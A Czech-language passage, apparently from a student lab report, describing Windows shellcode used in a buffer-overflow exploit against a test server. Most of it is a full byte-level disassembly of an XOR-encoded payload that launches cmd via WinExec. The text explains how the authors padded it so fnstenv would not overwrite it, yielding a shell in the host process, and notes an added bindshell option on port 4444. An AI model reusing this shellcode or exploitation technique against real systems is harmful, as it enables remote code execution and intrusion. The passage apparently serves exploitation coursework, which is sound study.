Shellcode:
Shellcode pro Windows je principiálně komplikovanější nežli shellkód pro OS Linux. Je to způsobeno tím, že pod Windows voláme systémové služby prostřednictvím API funkcí exportovaných výše uvedenými moduly. Protože jejich adresy nejsou statické, měl by být univerzální shellcode schopen najít konkrétní z nich dynamicky procházením symbolů exportovaných použitým modulem. Takové shellcody v takřka hotovém stavu jsou k dispozici k testovacím účelům např. na www.metasploit.com. Zde jsme našli vhodný shellcode, který vypadá následovně:
0: 31 c9 xor %ecx,%ecx
2: 83 e9 de sub $0xffffffde,%ecx
5: d9 ee fldz
7: d9 74 24 f4 fnstenv 0xfffffff4(%esp)
b: 5b pop %ebx
c: 81 73 13 ed 5a b7 69 xorl $0x69b75aed,0x13(%ebx)
13: 83 eb fc sub $0xfffffffc,%ebx
16: e2 f4 loop 0xc
18: 11 b2 f3 69 ed 5a adc %esi,0x5aed69f3(%edx)
1e: 3c 2c cmp $0x2c,%al
20: d1 d1 rcl %ecx
22: cb lret
23: 6c insb (%dx),%es:(%edi)
24: 95 xchg %eax,%ebp
25: 5b pop %ebx
26: 58 pop %eax
27: e2 a2 loop 0xffffffcb
29: 42 inc %edx
2a: 3c 36 cmp $0x36,%al
2c: cd 5b int $0x5b
2e: 5c pop %esp
2f: 20 66 6e and %ah,0x6e(%esi)
32: 3c 68 cmp $0x68,%al
34: 03 6b 77 add 0x77(%ebx),%ebp
37: f0 41 lock inc %ecx
39: de 77 1d fidiv 0x1d(%edi)
3c: ea 9b 7d 64 ec 98 5c ljmp $0x5c98,$0xec647d9b
43: 9d popf
44: d6 (bad)
45: 0e push %cs
46: 93 xchg %eax,%ebx
47: 6d insl (%dx),%es:(%edi)
48: 98 cwtl
49: bf 3c 36 c9 5b mov $0x5bc9363c,%edi
4e: 5c pop %esp
4f: 0f 66 56 fc pcmpgtd 0xfffffffc(%esi),%mm2
53: e2 b2 loop 0x7
55: 46 inc %esi
56: b6 82 mov $0x82,%dh
58: 66 46 inc %si
5a: 3c 68 cmp $0x68,%al
5c: 06 push %es
5d: d3 eb shr %cl,%ebx
5f: 4d dec %ebp
60: e9 99 86 a9 89 jmp 0x89a986fe
65: d1 (bad)
66: f7 59 68 negl 0x68(%ecx)
69: 9a cf 65 66 1a bb e2 lcall $0xe2bb,$0x1a6665cf
70: 9d popf
71: 46 inc %esi
72: 1a e2 sbb %dl,%ah
74: 85 52 5c test %edx,0x5c(%edx)
77: 60 pusha
78: 66 data16
79: da 07 fiaddl (%edi)
7b: 69 ed 5a 3c 01 d1 imul $0xd1013c5a,%ebp,%ebp
81: 05 86 9f 8d 0c add $0xc8d9f86,%eax
86: 3e ds
87: 91 xchg %eax,%ecx
88: 6e outsb %ds:(%esi),(%dx)
89: 9a cc 39 85 24 6f 8b lcall $0x8b6f,$0x248539cc
90: 9e sahf
91: 32 2f xor (%edi),%ch
93: 97 xchg %eax,%edi
94: 67 54 addr16 push %esp
96: e0 96 loopne 0x2e
98: 0a 39 or (%ecx),%bh
9a: da 0d ed 5a b7 69 fimull 0x69b75aed
jeho parametry:
použitá vstupní technika: WinExec (v parametru volání je název shellu (v našem případě cmd))
použitá výstupní technika: ExitProcess (aplikuje se po návratu z shellu na infikovaný proces)
Tento shellcode řeší problém s absencí nul uvnitř pomocí polymorfismu (xor na rel. adrese "c" převádí jeho zbylou část do spustitelné podoby - hezky vidět např. v Ollydbg). Ačkoliv shellcode vypadá velice dobře, jeho zásadní vadou je, že v naší implementaci není funkční. Je tomu tak proto, že instrukce fnstenv na rel. adrese "7", jejímž úkolem je získat adresu z prostřed shellcodu, která je následně použita jako cíl polymorfního cyklu, načte stav koprocesoru do paměti relativně k ESP a jelikož jsme v tomto bodě těsně za ESP, přepíše si kód zrovna pod čítačem instrukcí, což je definitivní konec snahy. Kód byl proto námi upraven - odsazen o určitý počet bytů (obsahujících heslo roota na Sunray) dál do paměti, tak aby fstenv neměl na ještě neprovedený kus shellcodl vliv a jeho výsledkem bylo pouze správné nastavení registru EBX. Toto se povedlo a tento shellcode odeslaný serveru ve formátu zjištěném v první části úlohy dosahuje kýženého efektu - získání shellu v hostitelském procesu.
pozn.: Z různých důvodů byl do testovacího programu implementována navíc možnost odeslat na server v TOP požadavku místo shellcodu realizujícího lokální shell i alternativní kód realizující pokus o bindshell (interaktivní volba v přikazu exploit) na portu 4444.